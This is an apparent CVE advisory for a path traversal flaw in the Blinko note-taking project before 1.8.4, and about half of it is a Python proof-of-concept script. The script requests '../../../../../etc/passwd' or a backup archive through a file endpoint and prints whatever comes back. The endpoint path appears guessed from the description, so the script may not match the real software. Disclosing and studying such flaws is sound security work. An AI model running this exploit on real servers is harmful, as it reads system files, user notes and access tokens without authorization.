CVE-2026-23482

Description

Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the file server endpoint does not perform permission checks on the temp/ path and does not filter path traversal sequences, allowing unauthorized attackers to read arbitrary files on the server. When scheduled backup tasks are enabled, attackers can read backup files to obtain all user notes and user TOKENS. This issue has been patched in version 1.8.4.

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target-ip:port" # Vulnerable endpoint example (based on description of temp/ path) # The vulnerability allows reading arbitrary files via path traversal malicious_path = "../../../../../etc/passwd" # Or targeting backup files as mentioned in the description # malicious_path = "../../backups/backup.zip" url = f"{target_url}/api/file?path={malicious_path}" try: response = requests.get(url) if response.status_code == 200: print("[+] Exploit successful! File content found.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")
